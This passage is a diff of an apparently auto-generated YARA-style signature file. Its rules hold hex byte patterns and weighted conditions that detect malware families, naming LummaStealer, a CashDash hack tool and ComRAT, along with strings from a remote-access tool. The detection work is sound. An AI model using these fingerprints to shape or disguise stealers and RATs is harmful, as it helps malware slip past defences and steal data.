02 00 00 00 6e 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 01 00 78 01 20 20 20 00 20 20 20 20 00 f0 05 00 00 10 00 00 00 d2 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 } //29554 - $a_63_56 = {00 00 b0 02 00 00 00 00 06 00 00 04 00 00 00 e2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 10 06 00 00 02 00 00 00 e6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 01 00 78 01 20 20 20 00 20 20 20 20 00 e0 05 00 00 10 00 00 00 d2 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 } //29554 - $a_63_58 = {00 00 b0 02 00 00 00 f0 05 00 00 04 00 00 00 e2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 00 06 00 00 02 00 00 00 e6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 01 00 78 01 20 20 20 00 20 20 20 20 00 d0 05 00 00 10 00 00 00 d0 05 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 } //29554 - $a_63_60 = {00 00 00 03 00 00 00 e0 05 00 00 04 00 00 00 e0 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 f0 05 00 00 02 00 00 00 e4 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 01 00 78 01 20 20 20 20 20 20 20 20 42 cf 04 00 00 10 00 00 00 b4 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 } //29554 - $a_20_62 = {20 20 27 20 00 00 00 e0 04 00 00 10 00 00 00 b8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 } //8224 - $a_20_63 = {20 20 20 20 20 70 d7 00 00 00 10 05 00 00 36 00 00 00 c8 02 00 00 00 00 00 00 00 00 00 00 00 00 } //16384 - $a_00_66 = {20 20 20 20 00 e0 05 00 00 10 00 00 00 d2 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 } //8224 - $a_63_68 = {20 20 00 10 00 00 00 f0 05 00 00 00 00 00 00 e2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 00 06 00 00 02 00 00 00 e2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 01 00 78 01 20 20 20 00 20 20 20 20 00 c0 06 00 00 10 00 00 00 c0 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 } //29554 + $a_01_34 = {00 17 01 7a 65 39 38 66 7a 37 65 38 39 66 37 7a 39 38 65 66 37 39 7a 65 66 24 00 00 78 6e 07 00 0a 00 0a 00 } //26213 + $a_23_35 = {4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 43 61 73 68 44 61 73 68 2e 41 21 64 68 } //26 LFPER:HackTool:MSIL/CashDash.A!dh + $a_00_36 = {82 } //97 + $a_00_38 = {5e 00 7c 00 20 00 29 00 5c 00 77 00 2b 00 3a 00 28 00 3f 00 21 00 20 00 29 00 28 00 3f 00 3a 00 5c 00 77 00 3a 00 5c 00 5c 00 29 00 3f 00 28 00 5b 00 5e 00 3a 00 5d 00 7c 00 5c 00 5c } //60 + $a_00_40 = {3c 00 21 00 20 00 29 00 28 00 3f 00 3a 00 28 00 3f 00 3d 00 20 00 2b 00 5c 00 77 00 2b 00 3a 00 7c 00 20 00 2a 00 24 00 7c 00 20 00 2b 00 3a 00 29 00 29 00 01 00 3e 01 28 00 3f 00 3c 00 61 } //40 + $a_00_42 = {6d 00 65 00 3e 00 5c 00 77 00 2b 00 29 00 3a 00 28 00 3f 00 3c 00 61 00 72 00 67 00 76 00 61 00 6c 00 75 00 65 00 3e 00 2e 00 2b 00 29 00 01 00 5a 01 41 00 64 00 6d 00 69 00 6e 00 20 00 6e 00 6f 00 74 00 20 00 63 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 65 00 64 00 20 00 74 00 6f 00 20 00 72 } //110 + $a_00_44 = {76 00 65 00 20 00 61 00 75 00 74 00 68 00 6f 00 72 00 69 00 7a 00 61 00 74 00 69 00 6f 00 6e 00 21 00 01 00 3c 01 41 00 75 00 74 00 68 00 6f 00 72 00 69 00 7a 00 65 00 20 00 63 00 6c 00 69 00 65 00 6e 00 74 00 20 00 62 00 79 00 20 00 61 00 64 00 6d 00 69 00 6e 00 20 00 75 00 69 00 64 00 3a 00 01 00 32 01 41 00 55 00 54 00 } //111 + $a_00_45 = {52 00 49 00 5a 00 45 00 20 00 43 00 4c 00 49 00 45 00 4e 00 54 00 20 00 42 00 59 00 20 00 41 00 44 00 4d 00 49 00 4e 00 01 00 4e 01 41 00 75 00 74 00 68 00 6f 00 72 00 69 00 7a 00 65 00 20 00 72 00 65 00 6a 00 65 00 63 00 74 00 65 00 64 } //72 + $a_00_47 = {65 00 6e 00 74 00 20 00 62 00 79 00 20 00 61 00 64 00 6d 00 69 00 6e 00 20 00 75 00 69 00 64 00 3a 00 01 00 44 01 41 00 55 00 54 00 48 00 4f 00 52 00 49 00 5a 00 45 00 20 00 52 00 45 00 4a 00 45 00 43 00 54 00 45 00 44 00 20 00 43 00 4c 00 49 00 45 00 4e 00 54 00 20 00 42 00 59 00 20 00 41 00 44 00 4d 00 49 00 4e } //108 + $a_00_49 = {6e 00 61 00 72 00 79 00 20 00 77 00 61 00 73 00 20 00 63 00 61 00 63 00 68 00 65 00 64 00 21 00 01 00 42 01 43 00 61 00 6e 00 27 00 74 00 20 00 68 00 61 00 6e 00 64 00 6c 00 65 00 20 00 72 00 65 00 63 00 65 00 69 00 76 00 65 00 64 00 20 00 62 00 69 00 6e 00 61 00 72 00 79 00 20 00 66 00 72 00 6f 00 6d 00 01 00 3a } //66 + $a_00_51 = {74 00 20 00 70 00 61 00 72 00 73 00 65 00 20 00 62 00 69 00 6e 00 61 00 72 00 79 00 20 00 63 00 6f 00 6e 00 74 00 61 } //110 + $a_00_53 = {21 00 01 00 34 01 43 00 61 00 6e 00 27 00 74 00 20 00 73 00 65 00 6e 00 64 00 20 00 74 00 61 00 73 00 6b 00 20 00 63 00 6f 00 6e 00 74 00 61 00 69 00 6e 00 65 00 72 00 3a 00 01 00 40 01 46 00 61 00 69 00 6c 00 65 00 64 00 20 00 74 00 6f 00 20 00 64 00 65 00 6c 00 65 00 74 00 65 00 20 00 74 00 61 00 73 00 6b 00 20 00 63 00 6f 00 6e 00 74 00 } //101 + $a_00_54 = {6e 00 65 00 72 00 3a 00 01 00 56 01 46 00 61 00 69 00 6c 00 65 00 64 00 20 00 74 00 6f 00 20 00 72 00 65 00 6d 00 6f 00 76 00 65 00 20 00 66 00 72 00 6f 00 6d 00 20 00 63 00 61 00 63 00 68 00 65 00 20 00 74 00 61 00 73 00 6b 00 20 00 63 00 6f 00 6e 00 74 00 61 00 69 00 6e 00 65 00 72 00 3a 00 01 00 2a 01 52 00 65 } //97 + $a_00_56 = {20 00 62 00 69 00 6e 00 61 00 72 00 79 00 20 00 66 00 61 00 69 00 6c 00 65 00 64 00 21 00 01 00 2c 01 52 00 65 00 73 00 65 00 6e 00 64 00 20 00 62 00 69 00 6e 00 61 00 72 00 79 00 20 00 73 00 75 00 63 00 63 00 65 00 73 00 73 00 21 00 01 00 50 01 52 00 65 00 73 00 65 00 6e 00 64 00 20 00 74 00 61 00 } //110 + $a_00_57 = {20 00 63 00 6f 00 6e 00 74 00 61 00 69 00 6e 00 65 00 72 00 20 00 63 00 6f 00 6e 00 74 00 61 00 69 00 6e 00 65 00 72 00 20 00 73 00 75 00 63 00 63 00 65 00 73 00 73 00 21 00 01 00 3a 01 52 00 65 00 73 00 65 00 6e 00 64 00 20 00 74 00 61 00 73 00 6b 00 20 00 63 00 6f 00 6e 00 74 00 61 00 69 00 6e 00 65 00 72 00 20 00 66 } //115 + $a_00_59 = {64 00 21 00 01 00 38 01 52 00 65 00 73 00 65 00 6e 00 64 00 69 00 6e 00 67 00 20 00 62 00 69 00 6e 00 61 00 72 00 79 00 20 00 74 00 6f 00 20 00 61 00 64 00 6d 00 69 00 6e 00 2e 00 2e 00 2e 00 01 00 4e 01 52 00 65 00 73 00 65 00 6e 00 64 00 69 00 6e 00 67 00 20 00 74 00 61 00 73 00 6b 00 20 00 63 00 6f } //108 + $a_00_61 = {6e 00 65 00 72 00 20 00 74 00 6f 00 20 00 63 00 6c 00 69 00 65 00 6e 00 74 00 20 00 75 00 69 00 64 00 3a 00 01 00 3a 01 52 00 65 00 73 00 75 00 6c 00 74 00 73 00 4c 00 69 00 73 00 74 00 20 00 77 00 61 00 73 00 20 00 73 00 65 00 6e 00 74 00 20 00 74 00 6f 00 20 00 61 00 64 00 6d 00 69 00 6e 00 01 00 4c 01 73 00 65 } //97 + $a_00_63 = {20 00 68 00 61 00 73 00 20 00 63 00 6c 00 6f 00 73 00 65 00 64 00 20 00 6f 00 6c 00 64 00 20 00 61 00 64 00 6d 00 69 00 6e 00 20 00 63 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 69 00 6f 00 6e 00 01 00 3a 01 54 00 61 00 73 00 6b 00 20 00 63 00 6f 00 6e 00 74 00 61 00 69 00 6e 00 65 00 72 00 20 00 77 00 61 00 73 00 20 00 64 00 65 00 6c 00 69 00 } //101 + $a_00_64 = {72 00 65 00 64 00 21 00 01 00 36 01 54 00 61 00 73 00 6b 00 73 00 4c 00 69 00 73 00 74 00 20 00 77 00 61 00 73 00 20 00 73 00 65 00 6e 00 74 00 20 00 74 00 6f 00 20 00 61 00 64 00 6d 00 69 00 6e 00 01 00 4c 01 59 00 65 00 74 00 20 00 61 00 6e 00 6f 00 74 00 68 00 65 00 72 00 20 00 61 00 64 00 6d 00 69 } //118 + $a_00_66 = {79 00 69 00 6e 00 67 00 20 00 74 00 6f 00 20 00 61 00 75 00 74 00 68 00 6f 00 72 00 69 00 7a 00 65 00 21 00 01 00 48 01 59 00 65 00 74 00 20 00 61 00 6e 00 6f 00 74 00 68 00 65 00 72 00 20 00 61 00 64 00 6d 00 69 00 6e 00 20 00 74 00 72 00 79 00 69 00 6e 00 67 00 20 00 74 00 6f 00 20 00 63 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 21 00 01 00 } //116 + $a_00_67 = {30 00 7d 00 20 00 73 00 65 00 72 00 76 00 65 00 72 00 20 00 73 00 74 00 61 00 72 00 74 00 65 00 64 00 20 00 6f 00 6e 00 20 00 6c 00 6f 00 63 00 61 00 6c 00 68 00 6f 00 73 00 74 00 3a 00 7b 00 31 00 7d 00 20 00 77 00 69 00 74 00 68 00 20 00 73 00 65 00 72 00 76 00 69 00 63 00 65 00 73 00 3a 00 00 00 78 95 07 00 04 00 04 00 1a 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a } //356 + $a_57_68 = {6e 33 32 2f 43 6f 6d 52 41 54 2e 41 21 64 68 61 00 01 00 30 03 2e 3f 41 56 3f 24 5f 52 65 66 5f 63 6f 75 6e 74 5f 6f 62 6a 40 56 53 74 6f 72 90 01 01 67 65 57 72 69 74 65 72 } //28257 + $a_73_69 = {64 40 40 00 90 00 01 00 32 03 2e 3f 41 56 3f 24 5f 52 65 66 5f 63 6f 75 6e 74 5f 6f 62 6a 40 56 4d 73 67 4c 6f 67 43 6f 90 01 01 74 61 69 6e 65 72 40 40 40 73 74 64 40 40 00 90 00 01 00 20 03 } //16448 condition: - ((#a_72_0 & 1)*22051+(#a_70_1 & 1)*28528+(#a_38_2 & 1)*14137+(#a_31_4 & 1)*12801+(#a_31_5 & 1)*12849+(#a_37_6 & 1)*14644+(#a_00_7 & 1)*9317+(#a_31_8 & 1)*13057+(#a_00_9 & 1)*9271+(#a_31_10 & 1)*13057+(#a_39_11 & 1)*14136+(#a_34_12 & 1)*13617+(#a_37_13 & 1)*14137+(#a_38_14 & 1)*13426+(#a_35_16 & 1)*12597+(#a_39_17 & 1)*13361+(#a_34_18 & 1)*13877+(#a_35_20 & 1)*13569+(#a_36_21 & 1)*10496+(#a_37_22 & 1)*14648+(#a_37_23 & 1)*14391+(#a_72_24 & 1)*29240+(#a_39_25 & 1)*14136+(#a_00_26 & 1)*9321+(#a_38_27 & 1)*14593+(#a_34_28 & 1)*14644+(#a_38_29 & 1)*291+(#a_67_30 & 1)*14393+(#a_61_31 & 1)*1280+(#a_00_32 & 1)*30824+(#a_38_33 & 1)*25857+(#a_01_34 & 1)*26213+(#a_23_35 & 1)*15+(#a_05_36 & 1)*32+(#a_20_37 & 1)*8192+(#a_72_38 & 1)*29230+(#a_63_40 & 1)*29554+(#a_63_42 & 1)*29554+(#a_63_44 & 1)*29554+(#a_63_46 & 1)*29554+(#a_20_48 & 1)*8224+(#a_20_49 & 1)*16384+(#a_00_52 & 1)*8224+(#a_63_54 & 1)*29554+(#a_63_56 & 1)*29554+(#a_63_58 & 1)*29554+(#a_63_60 & 1)*29554+(#a_20_62 & 1)*8224+(#a_20_63 & 1)*16384+(#a_00_66 & 1)*8224+(#a_63_68 & 1)*29554) >=1 + ((#a_72_0 & 1)*22051+(#a_70_1 & 1)*28528+(#a_38_2 & 1)*14137+(#a_31_4 & 1)*12801+(#a_31_5 & 1)*12849+(#a_37_6 & 1)*14644+(#a_00_7 & 1)*9317+(#a_31_8 & 1)*13057+(#a_00_9 & 1)*9271+(#a_31_10 & 1)*13057+(#a_39_11 & 1)*14136+(#a_34_12 & 1)*13617+(#a_37_13 & 1)*14137+(#a_38_14 & 1)*13426+(#a_35_16 & 1)*12597+(#a_39_17 & 1)*13361+(#a_34_18 & 1)*13877+(#a_35_20 & 1)*13569+(#a_36_21 & 1)*10496+(#a_37_22 & 1)*14648+(#a_37_23 & 1)*14391+(#a_72_24 & 1)*29240+(#a_39_25 & 1)*14136+(#a_00_26 & 1)*9321+(#a_38_27 & 1)*14593+(#a_34_28 & 1)*14644+(#a_38_29 & 1)*291+(#a_67_30 & 1)*14393+(#a_61_31 & 1)*1280+(#a_00_32 & 1)*30824+(#a_38_33 & 1)*25857+(#a_01_34 & 1)*26213+(#a_23_35 & 1)*26+(#a_00_36 & 1)*97+(#a_00_38 & 1)*60+(#a_00_40 & 1)*40+(#a_00_42 & 1)*110+(#a_00_44 & 1)*111+(#a_00_45 & 1)*72+(#a_00_47 & 1)*108+(#a_00_49 & 1)*66+(#a_00_51 & 1)*110+(#a_00_53 & 1)*101+(#a_00_54 & 1)*97+(#a_00_56 & 1)*110+(#a_00_57 & 1)*115+(#a_00_59 & 1)*108+(#a_00_61 & 1)*97+(#a_00_63 & 1)*101+(#a_00_64 & 1)*118+(#a_00_66 & 1)*116+(#a_00_67 & 1)*356+(#a_57_68 & 1)*28257+(#a_73_69 & 1)*16448) >=1 } -rule _InfrastructureShared_20563{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0f 00 21 " - - strings : - $a_54_0 = {3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 44 53 4b 35 00 01 00 78 01 20 20 20 00 20 20 20 20 00 f0 05 00 00 10 00 00 00 d2 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 88 03 00 00 00 00 06 00 00 04 00 00 } //18467 - $a_00_1 = {00 00 } //-7680 - $a_00_4 = {00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 10 06 00 00 02 00 00 00 e6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 01 00 78 01 20 20 20 00 20 20 20 20 00 e0 05 00 00 10 00 00 00 e0 } //0 - $a_00_9 = {00 e0 2e 72 73 72 63 00 00 00 00 03 00 00 00 f0 05 00 00 04 00 00 00 f0 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 00 06 00 00 02 00 00 00 f4 } //0 - $a_00_13 = {00 c0 01 00 78 01 20 20 20 00 20 20 20 20 00 f0 05 00 00 10 00 00 00 f0 05 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 00 06 00 00 02 } //0 - condition: - ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-7680+(#a_00_4 & 1)*0+(#a_00_9 & 1)*0+(#a_00_13 & 1)*0) >=1 - -} -rule _InfrastructureShared_20564{ +rule _InfrastructureShared_21788{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 1a 00 21 " @@ -265371,7 +280880,7 @@ rule _InfrastructureShared_20564{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*92+(#a_00_3 & 1)*63+(#a_00_4 & 1)*116+(#a_00_6 & 1)*110+(#a_00_7 & 1)*67+(#a_00_8 & 1)*110+(#a_00_9 & 1)*32+(#a_00_11 & 1)*97+(#a_00_12 & 1)*101+(#a_00_13 & 1)*342+(#a_00_14 & 1)*116+(#a_00_16 & 1)*33+(#a_00_18 & 1)*115+(#a_00_20 & 1)*116+(#a_00_22 & 1)*110+(#a_00_24 & 1)*111+(#a_00_25 & 1)*115) >=10 } -rule _InfrastructureShared_20565{ +rule _InfrastructureShared_21789{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 1a 00 21 " @@ -265405,7 +280914,7 @@ rule _InfrastructureShared_20565{ ((#a_46_0 & 1)*16675+(#a_03_2 & 1)*1+(#a_03_3 & 1)*1+(#a_03_4 & 1)*1+(#a_03_5 & 1)*1+(#a_03_6 & 1)*1+(#a_03_7 & 1)*1+(#a_03_8 & 1)*1+(#a_03_9 & 1)*1+(#a_03_10 & 1)*1+(#a_03_11 & 1)*1+(#a_03_12 & 1)*1+(#a_03_13 & 1)*1+(#a_03_14 & 1)*1+(#a_03_15 & 1)*1+(#a_03_16 & 1)*1+(#a_03_17 & 1)*1+(#a_03_18 & 1)*1+(#a_03_19 & 1)*1+(#a_03_20 & 1)*1+(#a_03_21 & 1)*1+(#a_03_22 & 1)*1+(#a_03_23 & 1)*1+(#a_03_24 & 1)*1+(#a_03_25 & 1)*1) >=4 } -rule _InfrastructureShared_20566{ +rule _InfrastructureShared_21790{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,18 00 18 00 48 00 21 " @@ -265482,7 +280991,7 @@ rule _InfrastructureShared_20566{ ((#a_46_0 & 1)*16675+(#a_5f_1 & 1)*26987+(#a_00_3 & 1)*37+(#a_00_4 & 1)*29793+(#a_69_5 & 1)*17921+(#a_67_6 & 1)*297+(#a_74_7 & 1)*25701+(#a_6b_8 & 1)*28515+(#a_4e_9 & 1)*29559+(#a_30_10 & 1)*12143+(#a_2d_11 & 1)*30583+(#a_5f_12 & 1)*18177+(#a_3d_13 & 1)*26975+(#a_74_14 & 1)*284+(#a_25_15 & 1)*13605+(#a_00_16 & 1)*15732+(#a_73_17 & 1)*29185+(#a_54_18 & 1)*16735+(#a_01_19 & 1)*6+(#a_01_20 & 1)*6+(#a_01_21 & 1)*6+(#a_01_22 & 1)*6+(#a_01_23 & 1)*6+(#a_01_24 & 1)*6+(#a_01_25 & 1)*6+(#a_01_26 & 1)*2+(#a_01_27 & 1)*2+(#a_01_28 & 1)*2+(#a_01_29 & 1)*2+(#a_01_30 & 1)*2+(#a_01_31 & 1)*2+(#a_01_32 & 1)*2+(#a_01_33 & 1)*2+(#a_01_34 & 1)*2+(#a_01_35 & 1)*2+(#a_01_36 & 1)*2+(#a_01_37 & 1)*2+(#a_01_38 & 1)*2+(#a_01_39 & 1)*2+(#a_01_40 & 1)*2+(#a_01_41 & 1)*2+(#a_01_42 & 1)*2+(#a_01_43 & 1)*2+(#a_01_44 & 1)*2+(#a_01_45 & 1)*2+(#a_01_46 & 1)*2+(#a_01_47 & 1)*2+(#a_01_48 & 1)*2+(#a_01_49 & 1)*2+(#a_01_50 & 1)*2+(#a_01_51 & 1)*2+(#a_01_52 & 1)*2+(#a_01_53 & 1)*2+(#a_01_54 & 1)*2+(#a_a7_55 & 1)*0+(#a_00_56 & 1)*97+(#a_00_57 & 1)*83+(#a_00_58 & 1)*120+(#a_00_59 & 1)*107+(#a_00_61 & 1)*117+(#a_00_62 & 1)*101+(#a_00_64 & 1)*46+(#a_00_65 & 1)*52+(#a_68_66 & 1)*656+(#a_00_67 & 1)*110+(#a_00_68 & 1)*77+(#a_00_69 & 1)*45+(#a_63_70 & 1)*4864) >=24 } -rule _InfrastructureShared_20567{ +rule _InfrastructureShared_21791{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 28 00 21 " @@ -265516,7 +281025,7 @@ rule _InfrastructureShared_20567{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*109+(#a_00_3 & 1)*100+(#a_00_5 & 1)*97+(#a_00_7 & 1)*106+(#a_00_8 & 1)*78+(#a_00_10 & 1)*114+(#a_00_12 & 1)*91+(#a_00_14 & 1)*54+(#a_00_16 & 1)*110+(#a_00_18 & 1)*81+(#a_00_20 & 1)*68+(#a_00_22 & 1)*56+(#a_00_24 & 1)*103+(#a_00_26 & 1)*58+(#a_00_28 & 1)*97+(#a_4d_29 & 1)*10029+(#a_00_30 & 1)*116+(#a_00_32 & 1)*108+(#a_01_34 & 1)*1+(#a_01_35 & 1)*1+(#a_01_36 & 1)*1+(#a_03_37 & 1)*1+(#a_01_38 & 1)*1+(#a_01_39 & 1)*1) >=10 } -rule _InfrastructureShared_20568{ +rule _InfrastructureShared_21792{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 28 00 21 " @@ -265552,7 +281061,7 @@ rule _InfrastructureShared_20568{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*109+(#a_00_3 & 1)*100+(#a_00_5 & 1)*97+(#a_00_7 & 1)*121+(#a_00_8 & 1)*104+(#a_00_9 & 1)*115+(#a_00_11 & 1)*100+(#a_00_12 & 1)*117+(#a_00_13 & 1)*52+(#a_00_14 & 1)*83+(#a_00_15 & 1)*328+(#a_00_16 & 1)*50+(#a_00_18 & 1)*48+(#a_00_20 & 1)*111+(#a_00_22 & 1)*86+(#a_00_24 & 1)*99+(#a_00_26 & 1)*68+(#a_00_27 & 1)*115+(#a_00_30 & 1)*83+(#a_00_32 & 1)*110+(#a_00_33 & 1)*0+(#a_00_35 & 1)*116+(#a_74_36 & 1)*30049+(#a_17_37 & 1)*-30205+(#a_85_38 & 1)*-10174+(#a_04_39 & 1)*-28539) >=10 } -rule _InfrastructureShared_20569{ +rule _InfrastructureShared_21793{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 28 00 21 " @@ -265597,7 +281106,7 @@ rule _InfrastructureShared_20569{ ((#a_5f_0 & 1)*25635+(#a_04_1 & 1)*-28651+(#a_8a_3 & 1)*8448+(#a_03_4 & 1)*-31806+(#a_50_5 & 1)*400+(#a_90_6 & 1)*-176+(#a_00_7 & 1)*104+(#a_04_8 & 1)*-28440+(#a_01_10 & 1)*-31347+(#a_90_11 & 1)*17549+(#a_83_12 & 1)*400+(#a_50_13 & 1)*400+(#a_15_14 & 1)*1025+(#a_e8_15 & 1)*106+(#a_5f_16 & 1)*29813+(#a_01_17 & 1)*-6058+(#a_03_20 & 1)*1+(#a_03_21 & 1)*1+(#a_03_22 & 1)*1+(#a_03_23 & 1)*1+(#a_01_24 & 1)*1+(#a_01_25 & 1)*1+(#a_03_26 & 1)*1+(#a_01_27 & 1)*1+(#a_01_28 & 1)*1+(#a_01_29 & 1)*1+(#a_01_30 & 1)*1+(#a_01_31 & 1)*1+(#a_03_32 & 1)*1+(#a_03_33 & 1)*1+(#a_01_34 & 1)*1+(#a_03_35 & 1)*1+(#a_f4_36 & 1)*0+(#a_4f_37 & 1)*21317+(#a_01_38 & 1)*5120+(#a_63_39 & 1)*24898) >=1 } -rule _InfrastructureShared_20570{ +rule _InfrastructureShared_21794{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 64 00 21 " @@ -265706,7 +281215,7 @@ rule _InfrastructureShared_20570{ ((#a_54_0 & 1)*18467+(#a_41_1 & 1)*384+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_80_7 & 1)*1+(#a_80_8 & 1)*1+(#a_80_9 & 1)*1+(#a_80_10 & 1)*1+(#a_80_11 & 1)*1+(#a_80_12 & 1)*1+(#a_80_13 & 1)*1+(#a_80_14 & 1)*1+(#a_80_15 & 1)*1+(#a_80_16 & 1)*1+(#a_80_17 & 1)*1+(#a_80_18 & 1)*1+(#a_80_19 & 1)*1+(#a_80_20 & 1)*1+(#a_80_21 & 1)*1+(#a_80_22 & 1)*1+(#a_80_23 & 1)*1+(#a_80_24 & 1)*1+(#a_80_25 & 1)*1+(#a_80_26 & 1)*1+(#a_80_27 & 1)*1+(#a_80_28 & 1)*1+(#a_80_29 & 1)*1+(#a_80_30 & 1)*1+(#a_80_31 & 1)*1+(#a_80_32 & 1)*1+(#a_80_33 & 1)*1+(#a_80_34 & 1)*1+(#a_80_35 & 1)*1+(#a_80_36 & 1)*1+(#a_80_37 & 1)*1+(#a_80_38 & 1)*1+(#a_80_39 & 1)*1+(#a_80_40 & 1)*1+(#a_80_41 & 1)*1+(#a_80_42 & 1)*1+(#a_80_43 & 1)*1+(#a_80_44 & 1)*1+(#a_80_45 & 1)*1+(#a_80_46 & 1)*1+(#a_80_47 & 1)*1+(#a_80_48 & 1)*1+(#a_80_49 & 1)*1+(#a_80_50 & 1)*1+(#a_80_51 & 1)*1+(#a_80_52 & 1)*1+(#a_80_53 & 1)*1+(#a_80_54 & 1)*1+(#a_80_55 & 1)*1+(#a_80_56 & 1)*1+(#a_80_57 & 1)*1+(#a_80_58 & 1)*1+(#a_80_59 & 1)*1+(#a_80_60 & 1)*1+(#a_80_61 & 1)*1+(#a_80_62 & 1)*1+(#a_80_63 & 1)*1+(#a_80_64 & 1)*1+(#a_80_65 & 1)*1+(#a_80_66 & 1)*1+(#a_80_67 & 1)*1+(#a_80_68 & 1)*1+(#a_80_69 & 1)*1+(#a_80_70 & 1)*1+(#a_80_71 & 1)*1+(#a_80_72 & 1)*1+(#a_80_73 & 1)*1+(#a_80_74 & 1)*1+(#a_80_75 & 1)*1+(#a_80_76 & 1)*1+(#a_80_77 & 1)*1+(#a_80_78 & 1)*1+(#a_80_79 & 1)*1+(#a_80_80 & 1)*1+(#a_80_81 & 1)*1+(#a_80_82 & 1)*1+(#a_80_83 & 1)*1+(#a_80_84 & 1)*1+(#a_80_85 & 1)*1+(#a_80_86 & 1)*1+(#a_80_87 & 1)*1+(#a_80_88 & 1)*1+(#a_80_89 & 1)*1+(#a_80_90 & 1)*1+(#a_80_91 & 1)*1+(#a_80_92 & 1)*1+(#a_80_93 & 1)*1+(#a_80_94 & 1)*1+(#a_80_95 & 1)*1+(#a_35_96 & 1)*0+(#a_74_97 & 1)*26994+(#a_72_98 & 1)*274+(#a_61_99 & 1)*28012) >=2 } -rule _InfrastructureShared_20571{ +rule _InfrastructureShared_21795{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 6c 00 21 " @@ -265820,7 +281329,7 @@ rule _InfrastructureShared_20571{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*24833+(#a_00_2 & 1)*29797+(#a_67_3 & 1)*25089+(#a_01_4 & 1)*28515+(#a_6d_5 & 1)*28009+(#a_65_6 & 1)*12660+(#a_79_7 & 1)*30058+(#a_6c_8 & 1)*29795+(#a_72_9 & 1)*27760+(#a_63_10 & 1)*28260+(#a_00_11 & 1)*29557+(#a_74_12 & 1)*25857+(#a_63_13 & 1)*267+(#a_77_14 & 1)*28271+(#a_01_15 & 1)*28515+(#a_00_16 & 1)*29557+(#a_6b_17 & 1)*28161+(#a_01_18 & 1)*1+(#a_01_19 & 1)*1+(#a_01_20 & 1)*1+(#a_01_21 & 1)*1+(#a_01_22 & 1)*1+(#a_01_23 & 1)*1+(#a_01_24 & 1)*1+(#a_01_25 & 1)*1+(#a_01_26 & 1)*1+(#a_01_27 & 1)*1+(#a_01_28 & 1)*1+(#a_01_29 & 1)*1+(#a_01_30 & 1)*1+(#a_01_31 & 1)*1+(#a_01_32 & 1)*1+(#a_01_33 & 1)*1+(#a_01_34 & 1)*1+(#a_01_35 & 1)*1+(#a_01_36 & 1)*1+(#a_01_37 & 1)*1+(#a_01_38 & 1)*1+(#a_01_39 & 1)*1+(#a_01_40 & 1)*1+(#a_01_41 & 1)*1+(#a_01_42 & 1)*1+(#a_01_43 & 1)*1+(#a_01_44 & 1)*1+(#a_40_45 & 1)*0+(#a_01_46 & 1)*14880+(#a_79_47 & 1)*24941+(#a_00_48 & 1)*144+(#a_49_49 & 1)*17155+(#a_30_50 & 1)*12924+(#a_01_51 & 1)*-28572+(#a_61_52 & 1)*29797+(#a_01_53 & 1)*-28572+(#a_90_54 & 1)*29801+(#a_43_56 & 1)*20481+(#a_65_57 & 1)*25461+(#a_00_58 & 1)*28783+(#a_70_59 & 1)*26881+(#a_6e_60 & 1)*257+(#a_90_61 & 1)*27753+(#a_70_62 & 1)*400+(#a_72_63 & 1)*30579+(#a_6f_64 & 1)*26212+(#a_34_65 & 1)*18501+(#a_01_66 & 1)*1+(#a_01_67 & 